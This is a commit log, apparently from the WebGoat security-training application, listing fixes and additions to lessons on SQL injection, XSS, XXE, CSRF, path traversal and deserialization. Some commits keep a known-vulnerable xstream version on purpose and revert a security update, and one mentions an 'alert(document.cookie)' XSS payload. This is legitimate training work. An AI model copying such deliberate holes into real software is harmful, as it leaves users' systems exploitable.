9063b4137f fix 404 links 2020-04-27 10:44:39 +02:00
Satoshi SAKAO
d7ae3a4391 fix typo 2020-04-27 10:44:39 +02:00
Satoshi SAKAO
db66c1dd02 fix number of steps 2020-04-27 10:44:39 +02:00
Satoshi SAKAO
608728b135 fix asciidoc italic format 2020-04-27 10:44:39 +02:00
René Zubcevic
88eb4d7b26 ace editor added without all the nonsense around it 2020-04-26 16:45:56 +02:00
René Zubcevic
58bc94d1f6 fix green buttons 2020-04-22 16:37:00 +02:00
René Zubcevic
6f532683a1 lessonplan character updates so it also works on Windows Cp125 2020-04-20 12:54:18 +02:00
Nanne Baars
6b68a12449 Set more conditions for releasing 2020-04-19 15:42:50 +02:00
Nanne Baars
27bf08ad5c Deploy and release on Java 11 2020-04-19 15:42:50 +02:00
Nanne Baars
52b66ed506 Java 12 is EOL so no need to support it 2020-04-19 15:42:50 +02:00
Nanne Baars
a5350060e1 Add dummy extra method with return type AttackResult because every assignment needs at least one such mapping (in the challenges case this is optional but since the challenges are an extra thing and this is the only assignment which has no such method adding a dummy method makes sense) 2020-04-19 15:42:50 +02:00
Nanne Baars
4f649234a9 Fix Java 11 issue where the order of methods returned in AssignmentEndpoint subclasses returned wrong method for determining the mapping of an assignment. Now we walk over all methods until we find one which has for example a @GetMapping with AttackResult or ResponseEntity<AttackResult as return type. If no such method is found an exception is thrown 2020-04-19 15:42:50 +02:00
Nanne Baars
96412da04e Remove unused imports and parameters 2020-04-19 15:42:50 +02:00
Nanne Baars
0015394582 Fix typo 2020-04-19 15:42:50 +02:00
Nanne Baars
9cb63a7c43 Update to latest surefire plugin otherwise new JUnit 5 test fails 2020-04-19 15:42:50 +02:00
Nanne Baars
561fb1f7f4 Build matrix for building 2020-04-19 15:42:50 +02:00
Nanne Baars
3b7481c2a7 Update method signature 2020-04-19 15:42:50 +02:00
Nanne Baars
f1768bd9a5 small update 2020-04-19 15:42:50 +02:00
Nanne Baars
407e19638f Add two more assignments for SQL injection where only filtering is applied. 2020-04-19 15:42:50 +02:00
Nanne Baars
122cc323f2 Changed the order of explanation of setting up ZAP/Burp a bit (feedback from workshop). This makes the necessary steps more explicit by moving all extra configuration for https etc to the back. So when you follow the lesson you will only setup the minimal and not get confused about things which are only necessary in certain cases 2020-04-19 15:42:50 +02:00
René Zubcevic
9509993a8f all tests complete for Password Reset (#785) 2020-04-17 15:54:24 +02:00
René Zubcevic
25e66ae412 use of script console in stead of browser address bar 2020-04-17 15:33:26 +02:00
René Zubcevic
089952e9ad quiz fix for CIA, SQL Injection Advanced and XSS + XSS description
change in alert(document.cookie)
2020-04-17 15:33:26 +02:00
René Zubcevic
efc5a870a0 Path traversal windows unittest fix (#780)
* fixes to support windows and linux/unix/mac

* fix in matcher
2020-04-14 16:13:43 +02:00
René Zubcevic
0638cae6e5 corrected hints and improved error handling base64 (#781) 2020-04-14 16:13:25 +02:00
René Zubcevic
b8abc99faf fix for scoreboard after js refactoring 2020-04-08 12:05:01 +02:00
René Zubcevic
e921fb66a9 actual working version of vulnerable components part 5 2020-04-08 12:05:01 +02:00
René Zubcevic
e25f7a7560 clean up and update js 2020-04-08 12:05:01 +02:00
René Zubcevic
c4ae9ae2ab migrate to JUnit 5 code 2020-04-06 16:02:15 +02:00
René Zubcevic
c4153ecbfb Maven owasp dep update (#776)
* add pmd and owasp dependency check through -P owasp profile

* suppress full stack trace in log

* revert to spring 2.2.0 as 2.2.4 failed in travis

* added owasp dependency check maven configuration details to vulenerable
lesson page 7
2020-04-06 16:01:09 +02:00
Nanne Baars
bb6d06713f Fix failing test 2020-03-10 08:03:48 +01:00
Nanne Baars
14022d88c9 Last assignment now filters out .. and / so encoding plays a role now 2020-03-10 08:03:48 +01:00
Nanne Baars
d4966b5e71 Fix test cases 2020-03-10 08:03:48 +01:00
Nanne Baars
b3840e60e3 Fix lessons 2020-03-10 08:03:48 +01:00
Nanne Baars
3ece45b3d4 Fix for not passing the content-type 2020-03-10 08:03:48 +01:00
Nanne Baars
6b7678fb1d Remove old files 2020-03-10 08:03:48 +01:00
Nanne Baars
6c25cf8e43 Add path traversal lesson 2020-03-10 08:03:48 +01:00
Tiago Mussi
c4c28f544f Fixed CSRF broken links. 2020-03-06 17:15:10 +01:00
René Zubcevic
3b050a856a tested solution with unit test and verfied with lesson 5 on ie 2020-02-28 23:11:29 +01:00
René Zubcevic
71d9c4b61a first steps 2020-02-28 23:11:29 +01:00
René Zubcevic
a8118a14cd add support for status 403 feedback from e.g. ModSecurity/CRS 2020-02-28 23:06:42 +01:00
René Zubcevic
5f3dff4921 added notes on salted hash (#758) 2020-02-27 07:20:58 +01:00
August Detlefsen
208aa42fdb relax detection regex (#757)
Allow for content before and after the script; Allow optional semicolon
2020-02-20 20:00:07 +01:00
Jonathan Thompson
cd3fb8040f Typo and grammar corrections for the crypto lessons (#756)
* Correct typos and grammar errors.

* Revert one grammar change
2020-02-09 08:00:08 +01:00
Dan Muller
9d5fa6f4ef Correct typos and clarify language in signing.adoc (#754)
Some of the changes correct simple misspellings. Some are intended to clarify or simplify the language.
2020-01-30 14:01:42 +01:00
René Zubcevic
6797033a09 restored pom removal (#753) 2020-01-25 18:18:06 +01:00
René Zubcevic
9eee726eb5 All in one docker (#749)
* all-in-one Dockerfile preparations

* some cleanup

* add to main pom and add links in index.html

* updated deploy script from build pipeline

* additional line feed just in case
2020-01-25 17:54:24 +01:00
René Zubcevic
4e371b63d0 suppressing some useless log messages and banners in unit tests (#752)
* suppressing some useless log messages and banners in unit tests

* some more log suppressed
2020-01-25 12:11:45 +01:00
Nanne Baars
edd6b7d7cf Reset lesson bug (#741)
* Remove old code from UI

* Remove old code

* Remove old functions

* Remove unnecessary divs

* Remove logging to console

* Clear lesson messages (checkmark, output text etc) when lesson resets
2020-01-05 20:22:50 +01:00
Nanne Baars
5de82c0a06 Fix link to XStream blog which no longer exists (#740) 2020-01-05 19:48:40 +01:00
Nanne Baars
71f2d2968f Fix NPE when request does not contain parameter (#739) 2020-01-05 15:14:53 +01:00
Nanne Baars
0d7daf60d9 Fix broken e-mail link (#738) 2020-01-05 15:05:51 +01:00
René Zubcevic
bb80e11665 dockerfile and compose changes (#737)
* dockerfile and compose changes

* adjusted link
2019-12-27 20:32:35 +01:00
Nanne Baars
8088465652 Move and remove unneccessary pom dependencies (#736) 2019-12-24 16:14:36 +01:00
Nanne Baars
035c8662d4 Revert "Bump xstream from 1.4.5 to 1.4.6 in /webgoat-lessons"
This reverts commit a831d949b2.
2019-12-23 17:14:20 +01:00
dependabot[bot]
a831d949b2 Bump xstream from 1.4.5 to 1.4.6 in /webgoat-lessons
Bumps xstream from 1.4.5 to 1.4.6.

Signed-off-by: dependabot[bot] <support@github.com>
2019-12-23 17:12:31 +01:00
torleif
4c45a1e68c This lesson is intended to show the dangers of outdated software. However in version 1.4.7 the vulnerability is fixed! In 1.4.5 it is still present, so I suggest this downgrade. It is tested and works as intended, just as 1.4.7 does not. 2019-12-23 17:09:46 +01:00
René Zubcevic
f79ad452d2 password reset support for using www.webwolf.local 2019-12-23 17:08:33 +01:00
René Zubcevic
59076fc9ef adjusted WebWolfMacro 2019-12-23 17:08:33 +01:00
René Zubcevic
b6aa677594 Zap 8 update for proxy lesson (#718)
* additional steps in proxy setup added

* lessons checked

* added page on https proxy and burp proxy
2019-12-10 12:14:21 +01:00
thegoodcrumpets
681a20a7c3 In the migration to Spring 2, this method lost its get mapping to the IDOR/profile url,breaking the javascript call to that address. (#720)
thanks!
2019-12-04 12:21:19 +01:00
René Zubcevic
c5ec2d40a1 updates docker image name (#717) 2019-11-26 18:12:06 +01:00
René Zubcevic
b5e5dd1d13 Crypto lesson (#712)
* crypto lesson added

* signing assignment

* integration test added for signing assignment

* added more hints

* corrections after rebase

* added some explanation

* added security defaults assignment
2019-11-23 21:52:14 +01:00
Nanne Baars
9c0b7f8233 Fix version substitution so WebGot home directory contains version number instead of @project.version@ in the name (#710) 2019-11-17 14:33:24 +01:00
Nanne Baars
5dd6b31905 Adjust lesson template (#704)
* Remove method `getId()` from all lessons as it defaults to the class name

* remove clean up endpoint

* remove unused class `RequestParameter`

* remove unused class `PluginLoadingFailure`

* Move `CourseConfiguration` to lesson package

* Add more content around the lesson template lesson and make it visible as a lesson in WebGoat

* Remove explicit invocation `trackProgress()` inside WebGoat framework so assignments only need to return an `AttackResult`

* Put original solution back as well for SQL string injection

* review comments

* Add
2019-11-17 13:39:56 +01:00
Nanne Baars
f40b6ffd31 Moving back to snapshot 2019-11-13 12:27:26 +01:00
Nanne Baars
7313fc6c08 Merge branch 'release/v8.0.0.M26' into develop 2019-11-12 09:33:05 +01:00
Nanne Baars
c8ac054093 Merge branch 'release/v8.0.0.M26' 2019-11-12 09:32:50 +01:00
Nanne Baars
fe2ac1b8d4 New release, updating pom.xml 2019-11-12 09:22:45 +01:00
Nanne Baars
ba74898441 Add JavaScript to assignment otherwise you will not be able to see the flow of the endpoint 2019-11-12 09:12:37 +01:00
Nanne Baars
1d477bd0e8 Rename endpoint in JavaScript as backend call uses different endpoint 2019-11-12 09:12:37 +01:00
Nanne Baars
48b604d6d9 Enable salaries again as rest controller 2019-11-12 09:12:37 +01:00
Rene Zubcevic
2ab8a838c3 update JRE and milestone version to latest 2019-11-11 22:03:20 +01:00
Nanne Baars
e07a2aff48 Fix mistake the SQL exception should be throws otherwise users cannot see the table name (servers) makes it impossible to
solve the assignment. Add explicit test for this to guard against future mistakes
2019-11-11 21:17:51 +01:00
Nanne Baars
7d48427d4f Integrate ZAP 2.8.0 (no HUB) as the setup is different also update the filtering as usual ZAP exclusion is again broken 2019-11-11 21:17:51 +01:00
Nanne Baars
d8844216cc Add solution for Firefox no longer proxying localhost at all 2019-11-11 10:38:25 +01:00
Nanne Baars
ab3cd118c9 Explicitly set Maven repo to https 2019-11-11 10:38:05 +01:00
Cotonne
8da4342430 Improve readability of query (#685)
thanks! and do not forget to clean your .webgoat... local db related files
2019-11-04 13:28:35 +01:00
Nanne Baars
ddf6ac9bdb Improve handling of missing parameters, now returns HTTP/401 (#698) 2019-11-03 18:27:03 +01:00
Nanne Baars
f7b794bf68 Race condition in counting number of attempts #567 (#697)
Add version to Hibernate mapping so we get optimistic locking this solves
number of parallel calls trying to update/guess and mess with the lesson
counter
2019-11-03 18:14:15 +01:00
Nanne Baars
1a83e2825e Code style (#696)
* Remove Guava dependency from WebGoat

* Add Checkstyle to the project with very basic standards so we have a
style across lessons. It does not interfere with basic Intellij formatting
2019-11-03 18:11:09 +01:00
Philippe Lafoucrière
66bd1d8c1a Remove obsolete methods
As there were removed also in e8d086ac9b (diff-98a46e7f04c7a2dd03d59046076aac5bL40)
2019-10-30 08:28:42 +01:00
Philippe Lafoucrière
531db87876 Fix CommandInjection java files
Avoid these compilation errors:

```
[INFO] -------------------------------------------------------------
[ERROR] COMPILATION ERROR :
[INFO] -------------------------------------------------------------
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjectionExecute.java:[47,8] class HttpBasicsInterceptRequest is public, should be declared in a file named HttpBasicsInterceptRequest.java
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[38,8] class HttpProxies is public, should be declared in a file named HttpProxies.java
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[5,33] cannot find symbol
  symbol:   class AbstractLesson
  location: package org.owasp.webgoat.lessons
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[38,34] cannot find symbol
  symbol: class AbstractLesson
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[39,5] method does not override or implement a method from a supertype
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[44,5] method does not override or implement a method from a supertype
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[49,5] method does not override or implement a method from a supertype
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[54,5] method does not override or implement a method from a supertype
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[59,5] method does not override or implement a method from a supertype
[INFO] 9 errors
[INFO] -------------------------------------------------------------
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  4.356 s
[INFO] Finished at: 2019-10-19T21:13:03Z
[INFO] ------------------------------------------------------------------------
```
2019-10-30 08:28:42 +01:00
Philippe Lafoucrière
cac5985873 Fix command-injection pom.xml 2019-10-30 08:28:42 +01:00
Philippe Lafoucrière
c03b8e22bf Fix webgoat-lesson-template parent artifact ref
WebGoat 8 latest ([develop](9fdbbf69d6)) has the following compilation error:

```
Building Maven project at /builds/gitlab-org/security-products/tests/webgoat/webgoat-lessons/webgoat-lesson-template.
[INFO] Scanning for projects...
[ERROR] [ERROR] Some problems were encountered while processing the POMs:
[FATAL] Non-resolvable parent POM for org.owasp.webgoat.lesson:webgoat-lesson-template:[unknown-version]: Could not find artifact org.owasp.webgoat.lesson:webgoat-lessons-parent:pom:8.0-SNAPSHOT and 'parent.relativePath' points at wrong local POM @ line 6, column 13
 @ 
[ERROR] The build could not read 1 project -> [Help 1]
[ERROR]   
[ERROR]   The project org.owasp.webgoat.lesson:webgoat-lesson-template:[unknown-version] (/builds/gitlab-org/security-products/tests/webgoat/webgoat-lessons/webgoat-lesson-template/pom.xml) has 1 error
[ERROR]     Non-resolvable parent POM for org.owasp.webgoat.lesson:webgoat-lesson-template:[unknown-version]: Could not find artifact org.owasp.webgoat.lesson:webgoat-lessons-parent:pom:8.0-SNAPSHOT and 'parent.relativePath' points at wrong local POM @ line 6, column 13 -> [Help 2]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/ProjectBuildingException
[ERROR] [Help 2] http://cwiki.apache.org/confluence/display/MAVEN/UnresolvableModelException
Error: Project couldn't be built: exit status 1
```

This is due to an invalid (obsolete) ref in the parent artifact.

Full logs: https://gitlab.com/gitlab-org/security-products/tests/webgoat/-/jobs/322887707
2019-10-30 08:28:42 +01:00
Nanne Baars
710adfae20 Upgrade to latest Spring Boot version 2019-10-30 08:28:14 +01:00
Nanne Baars
9b87fd602c Explicitly set session persistence to false (result in non serializable exception) 2019-10-30 08:28:14 +01:00
Nanne Baars
28299f3ced Bind HSQLDB to same address as WebGoat 2019-10-30 08:28:14 +01:00
Nanne Baars
689e3de7a4 Final changes for splitting SQL WebGoat and lessons 2019-10-30 08:28:14 +01:00
Nanne Baars
25dae3a4a8 Fix merge request 2019-10-30 08:28:14 +01:00
Nanne Baars
d73875e8e8 Remove empty line 2019-10-30 08:28:14 +01:00
Nanne Baars
e783c0c1f1 SQL: Cannot use apostrophe/quotes on string literals #662 2019-10-30 08:28:14 +01:00
Nanne Baars
2a6b3d189e Disable csrf through property no longer works and we already have it in WebSecurityConfig. Thymeleaf templates caching is set on the resolvers themselves 2019-10-30 08:28:14 +01:00
Nanne Baars
96d11697d4 SQL Injection lesson 6 minor mistakes in examples #663 2019-10-30 08:28:14 +01:00
Nanne Baars
a0933d83d5 Reworked all the SQL statements to be uppercase 2019-10-30 08:28:14 +01:00
Cotonne
9fdbbf69d6 Proposition for fixing broken/improving links (#686)
* As stated on enzoic.com: "PasswordPing is now Enzoic!"

* Add references to other OWASP resources
2019-10-16 17:29:27 +02:00
Rene Zubcevic
1f00d461a8 cleaned logs and changed username length for csrf-uuid 2019-10-15 13:59:18 +02:00
Rene Zubcevic
6dc679e7b8 final tests and fixed the issue of getting the name of the loggedinuser 2019-10-15 13:59:18 +02:00
Rene Zubcevic
00873cfe3f csrf7 test cases added 2019-10-15 13:59:18 +02:00
Rene Zubcevic
e932253f06 initial test cases added 2019-10-15 13:59:18 +02:00
Rene Zubcevic
8d7142e6d3 upgrade ascii doc with support for link in new tab 2019-10-15 13:55:34 +02:00
René Zubcevic
e0ac4a1083 lessons in correct order and scoreboard visible again (#680) 2019-10-10 09:45:43 +02:00
René Zubcevic
f140875156 fixed views for password reset (#679) 2019-10-10 07:50:47 +02:00
René Zubcevic
18d43f16d3 working version with fixed link and GET for tracing purposes (#677)
* working version with fixed link and GET for tracing purposes

* added integration test

* filter on request log
2019-10-09 09:58:35 +02:00
Atharva Vaidya
aee4b74202 Update Receiving_mail.adoc (#676) 2019-10-03 18:22:54 +02:00
Choe Hyeong Jin
b481ed70e8 Fix typo in SQL Injection(Introduction) (#675)
Fix typo `date` to `data` which seems more appropriate in context.
2019-10-03 10:01:35 +02:00
René Zubcevic
fd7fb4cfbc seems that we forgot about this one in the spring-boot-2 upgrade (#674) 2019-10-02 14:52:21 +02:00
René Zubcevic
663224d06a xxe path info (#670)
* xxe path info aid added

* xxe path info aid added

*  changes to template file and hints

* added ssl test support for XXE

* added ssl test support for XXE

* restconfig replaced by httpsrelaxed

* processed review comments on hints and example
2019-10-02 09:59:32 +02:00
René Zubcevic
7536770769 deserialization made solvable again (#673)
* first objects and unit tests for making a fix for the lesson

* example added

* unit test for windows and linux

* added unit tests hints and feedbacks and updated lesson pages

* small typo correction
2019-10-02 08:26:48 +02:00
René Zubcevic
6c14f4987c Update IntroductionWebWolf.adoc
use aangepast in gebruiker
2019-10-02 07:55:57 +02:00
Rene Zubcevic
3d38ed7680 some text change 2019-10-02 07:55:57 +02:00
Rene Zubcevic
1a11702979 NL intro 2019-10-02 07:55:57 +02:00
René Zubcevic
0319c477b1 XSS lesson completion fixes (#669)
* XSS lesson completion fixes

* removed log all

* lesson progress capable of deprecated assignments in the database

* fixed unit test for lesson progress
2019-09-29 14:46:18 +02:00
René Zubcevic
45c7949118 Merge pull request #668 from afcidk/fix-typo
thanks for the fix
2019-09-27 15:05:59 +02:00
Pei Hsuan Hung
9b906a2a29 Fix typo in XXE lesson 2019-09-25 00:37:36 +08:00
Nanne Baars
686d8b0c85 Merge pull request #667 from WebGoat/spring-boot-2
Spring boot 2
2019-09-24 17:09:09 +02:00
Nanne Baars
d080b3ef06 Review comment 2019-09-24 07:36:49 +02:00
Nanne Baars
dad9c75ee0 Fix tests after updating from develop, changes applied for migrating to Spring Boot 2 2019-09-23 17:35:04 +02:00
Nanne Baars
35c1305ce9 Merge conflicts resolved 2019-09-23 07:34:27 +02:00
Nanne Baars
261f947777 Fix 2019-09-20 17:45:33 +02:00
Nanne Baars
c8ef848657 Fix 2019-09-20 17:36:15 +02:00
Nanne Baars
f29b923eef FIx? 2019-09-20 17:10:58 +02:00
Nanne Baars
6fe5831f11 FIx? 2019-09-20 16:46:26 +02:00
Nanne Baars
cf00454f8b Testing issue 2019-09-20 08:30:07 +02:00
Nanne Baars
e8d086ac9b All successful 2019-09-20 07:59:04 +02:00
René Zubcevic
3ec4592fb2 Merge pull request #657 from WebGoat/xxe-int-test
XXE tests added
2019-09-19 18:09:02 +02:00
Nanne Baars
d7a2596670 Update lesson template 2019-09-19 07:54:30 +02:00
Nanne Baars
9c431eb2a3 Remove (was not generated btw) 2019-09-18 18:03:40 +02:00
Nanne Baars
1be9397c21 Add notifications from Travis 2019-09-18 18:02:14 +02:00
Nanne Baars
82ad0a7cc7 Finally working 2019-09-18 17:53:43 +02:00
René Zubcevic
4777dab57a review comments processed 2019-09-18 17:46:32 +02:00
Rene Zubcevic
a5cb5b0e8e removed log in checkresults 2019-09-18 16:16:44 +02:00
Rene Zubcevic
30d38f9b56 completed test 2019-09-18 16:10:52 +02:00
Rene Zubcevic
ec236a4ff5 First steps in XXE integration tests 2019-09-18 14:48:34 +02:00
Rene Zubcevic
57e6a84cef fixed and improved first two jwt challenges 2019-09-17 18:33:05 +02:00
Nanne Baars
2b01cbcb75 Fixed last tests 2019-09-16 07:43:22 +02:00
Nanne Baars
f774364461 Working unit tests 2019-09-13 20:05:25 +02:00
Nanne Baars
04f1b9a282 Update to the copyright 2019-09-13 19:27:25 +02:00
Nanne Baars
71dea87653 WebWolf test working again 2019-09-13 19:25:09 +02:00
Nanne Baars
dceb375d5e WIP 2019-09-13 18:57:40 +02:00
Nanne Baars
5e6f825e64 WIP 2019-09-13 16:42:13 +02:00
Nanne Baars
361249c666 First attempt at moving to Spring Boot 2 2019-09-12 17:22:03 +02:00
René Zubcevic
fb2e11fe11 fix for complete progress of sql mitigations and integration test 2019-09-10 13:58:58 +02:00
Nanne Baars
a56f41e0ea Merge branch 'pr/579' into develop 2019-09-10 13:55:43 +02:00
Nanne Baars
43c25dc3bb Modified PR to reflect coding style 2019-09-10 13:53:30 +02:00
René Zubcevic
6e9a52a05e Merge pull request #647 from WebGoat/separate_project
Nice work. I will add some tests for the missing parts in the SQL mitigations (in a separate pull request)
2019-09-09 14:05:21 +02:00
Nanne Baars
f7c8a271aa Fixed small typos 2019-09-09 13:55:24 +02:00
Nanne Baars
7a4f6e6fd3 Merge branch 'JeffreyWagnerBHN-develop' into develop 2019-09-09 13:54:38 +02:00
ephemeralwaves
aec051a9f1 Fixed minor spelling mistake 2019-09-09 13:41:38 +02:00
Nanne Baars
bf52e7a992 Fixed checking of server already running 2019-09-09 11:37:26 +02:00
Nanne Baars
0982bd982c Review comments processed:
- Ports can now be changed
- User is now a default user making it easier to login and look around after a failure
2019-09-08 18:52:12 +02:00
Jeffrey Wagner
75a174ff7b Fixed description and grammer 2019-09-06 21:12:55 -04:00
Nanne Baars
2283f945a9 Fix failing configuration 2019-08-25 17:53:36 +02:00
Nanne Baars
ff530e926e Use separate project for integration tests so we can start WebGoat and WebWolf 2019-08-25 17:43:14 +02:00
Matthias Grundmann
139651615e Make lesson csrf-7 stricter (do not allow invalid JSON, e.g. trailing =) 2019-08-22 17:44:52 +02:00
René Zubcevic
924a53c22a fixed sql adv 5 progress and added prove in integration test 2019-08-22 17:44:34 +02:00
René Zubcevic
c93563da3f Merge pull request #643 from TortugaAttack/multipleTracker45
Fixed #642 - multiple tracker for one user fixed
2019-08-22 15:07:59 +02:00
René Zubcevic
73553d91d3 Merge pull request #639 from jskiba99/patch-2
Update CrossSiteScripting_content9.adoc
2019-08-22 11:14:38 +02:00
TortugaAttack
f0d1555a09 Fixed #45 - multiple tracker for one user fixed 2019-08-21 23:38:27 +02:00
Nanne Baars
6d36e7db74 Added new endpoint for POST so it will give feedback to the UI. It now
ended up in a HTTP/405 which does not give any feedback to the UI
2019-08-17 13:52:59 +02:00
Nanne Baars
e01c2a35ce Add test case for security question assignment and the tracking is now
done with a session scoped bean
2019-08-06 19:04:07 +02:00
Jacob Skiba
7d9f24c86b Update CrossSiteScripting_content9.adoc
Fix broken resource link
2019-08-06 05:26:05 -04:00
Nanne Baars
18eee4df58 Fix for issue with timestamp not being parsed when sending to WebWolf
timestamp was already fixed at LocalDateTime.now() however WebGoat still
send the timestamp along, removed it
2019-07-28 20:50:19 +02:00
Nanne Baars
e61c943f97 #601 bug: username is case sensitive, but email in general is not
Opted for completing remove support for uppercase letters in username
this way we never come across issued with casing in WebGoat
2019-07-28 20:48:20 +02:00
René Zubcevic
d2e23f6b8e reduce logging 2019-07-25 20:17:52 +02:00
René Zubcevic
ffbc808e26 Integration test support 2019-07-25 20:17:52 +02:00
René Zubcevic
ae674b9297 Merge pull request #620 from zubcevic/july2019-bugfixes
increased sql form fields and fixed chrome progress
2019-07-25 08:39:34 +02:00
Nanne Baars
33c73a7dca Adding new developer 2019-07-24 20:37:32 +02:00
Nanne Baars
216b29fca2 Clean up in pom files 2019-07-24 20:37:32 +02:00
misfir3
ee0988effe Merge pull request #627 from WebGoat/gh-jwhite-patch-1
Delete do-not-merge.md
2019-07-23 14:19:26 -06:00
gh-jwhite
67440a6cc8 Delete do-not-merge.md
removing earlier test file
2019-07-23 14:18:51 -06:00
gh-jwhite
6c8921a951 Merge pull request #625 from WebGoat/another-ci-fail-test
Create do-not-merge.md
2019-07-23 11:41:35 -06:00
gh-jwhite
b395be9bd0 Create do-not-merge.md
testing a status check/branch protection thing
2019-07-23 10:38:25 -06:00
Rene Zubcevic
7ad3996f2f fix 6a6b page 2019-07-22 15:36:31 +02:00
Rene Zubcevic
b65644edee progress fix for SqlInjectionMitigations 2019-07-22 12:16:18 +02:00
Rene Zubcevic
ea38973068 UTF-8 config added for ThymeLeaf 2019-07-22 08:21:34 +02:00
René Zubcevic
7d0a63ac95 small html changes to improve progress 2019-07-20 09:34:27 +02:00
René Zubcevic
f9e78739f3 reverted mandatory file encoding which will make it worse on windows 2019-07-20 09:13:21 +02:00
Rene Zubcevic
656fa40182 style sheet and advanced sql 2019-07-19 16:49:30 +02:00
Rene Zubcevic
99435a1073 increased sql form fields and fixed chrome progress 2019-07-19 12:16:06 +02:00
Johannes Egger
9471e53818 Fix image names for google chrome dev tools lesson 2019-07-14 12:40:05 +02:00
Johannes Egger
d814522223 Fix test for HTTP proxy lesson 2019-07-14 12:39:07 +02:00
Johannes Egger
2eaf263e81 Improve task description for HTTP proxy lesson 2019-07-14 12:39:07 +02:00
Rene Zubcevic
41f252970b corrected path in pom 2019-07-14 12:38:11 +02:00
Rene Zubcevic
63a1097466 owasp categories 2019-07-14 12:38:11 +02:00
Sylvain Juge
bc0d803123 add login&pwd in JDBC url for PostgreSQL
I really don't know why exactly spring parameters are not used here,
probably for schema creation step. Until changing what the application does on startup
this will make it 'just work' without extra changes.
2019-07-14 12:29:51 +02:00
Rene Zubcevic
12de48ebbb additional environment entries to support https on webgoat 2019-07-14 12:18:07 +02:00
misfir3
62fbd6d340 Merge pull request #610 from johannesegger/patch-1
Fix typo in CIA lesson
2019-07-12 17:21:46 -06:00
misfir3
e36b4c3910 Merge pull request #618 from matthias-g/csrf-3-post
Do not allow trivial solution to CSRF-3
2019-07-12 17:16:23 -06:00
Matthias Grundmann
97f66545e0 In CSRF-3 use POST instead of GET to prevent solving the assignment just by opening the URL in a new tab 2019-07-12 17:25:58 +02:00
Nanne Baars
27125acd22 Fix issue with maven wrapper using TLS 1.2 as it no longer is supported 2019-07-09 20:19:54 +02:00
Nanne Baars
1aa98be908 Fix issue with maven wrapper using TLS 1.2 as it no longer is supported 2019-07-09 20:18:54 +02:00
Sylvain Juge
cb667094f2 update jar plugin version 2019-07-09 19:11:52 +02:00
Johannes Egger
703b6c676e Fix typo 2019-06-14 15:09:55 +02:00
Nanne Baars
00deb66ad9 Small update for password reset lesson 2019-05-09 09:17:11 +02:00
Nanne Baars
2a5e8dfdac Add missing step necessary to finish the release 2019-05-03 11:20:53 +02:00
Nanne Baars
98537426f2 SNAPSHOT version 2019-05-03 11:15:11 +02:00
Nanne Baars
529e8d73e1 Merge tag 'v8.0.0.M25' into develop
New release
2019-05-03 09:57:22 +02:00
Nanne Baars
d8d32c60cb Merge branch 'release/v8.0.0.M25' 2019-05-03 09:57:12 +02:00
Nanne Baars
9b0c4e62c2 New release, updating pom.xml 2019-05-03 09:50:01 +02:00
Tobias-Melzer
aa2eac0cd8 fixed test 2019-04-21 14:14:23 +02:00
René Zubcevic
8fdfbbd3fb changed order of attack forms in order to get the green completed 2019-04-21 14:12:26 +02:00
Rene Zubcevic
80b8326766 link corrected to avoid 404 2019-04-21 14:11:45 +02:00
ThomasBlt
a4da1a76e8 Add link to landing pages 2019-04-21 14:10:37 +02:00
Rene Zubcevic
e57c9d05b6 added checkbox and corrected fall back for the other labels 2019-04-21 14:10:01 +02:00
Rene Zubcevic
2b2e267594 hide password for testing with your actual password in front of colleagues 2019-04-21 14:10:01 +02:00
Rene Zubcevic
4bafc19883 fixed classcast exception on randValue 2019-04-21 13:59:26 +02:00
Rene Zubcevic
48d926491f removed possible NullpointerException and System.out 2019-04-21 13:59:26 +02:00
Rene Zubcevic
203b5fe717 chrome NetworkNum fix 2019-04-21 13:59:26 +02:00
ronanclancy
0ac8b7c716 Merge branch 'develop' into add-user-validator-tests 2019-03-26 20:36:06 +00:00
rjclancy
331d9c8dd4 add authur tag to test class 2019-03-26 20:33:11 +00:00
rjclancy
c6c0cc60f9 Add UserValidator tests + minor code clean up 2019-03-26 20:23:28 +00:00
rjclancy
bb7fb3f197 add UserService unit test, modify UserService 2019-03-26 13:59:22 +01:00
zubcevic
93830ac15b adjusted to findByUser 2019-03-26 13:57:21 +01:00
ronanclancy
5df6e987eb Fim simple email assignment typo 2019-03-26 13:56:31 +01:00
rjclancy
a242347ee0 add UserService unit test, modify UserService 2019-03-26 12:05:42 +00:00
ronanclancy
89037c3dfb Fim simple email assignment typo 2019-03-26 10:01:07 +00:00
Tobias-Melzer
bcacf94c6f Added Test for Developer Tools 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
5a11a5dae9 Added test for CIA Quiz 2019-03-26 08:43:38 +01:00
Marvin Schöning
b8e68d13b8 implement xss (mitigation) assignment 6 2019-03-26 08:43:38 +01:00
Tobias-Melzer
a8106f6671 Removed git merge symbols 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
2d5919dfc6 Changed snapshot versions of cia, dev-tools and secure passwords lessons. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
b190b08258 Added Import of AssignmentsHints to SQL Injection Challenge to fix build error. 2019-03-26 08:43:38 +01:00
Tobias-Melzer
256c0d05aa Implemented some feedback 2019-03-26 08:43:38 +01:00
Timur Linden
53c16c8b82 fixed minor spelling mistakes, unified wording 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
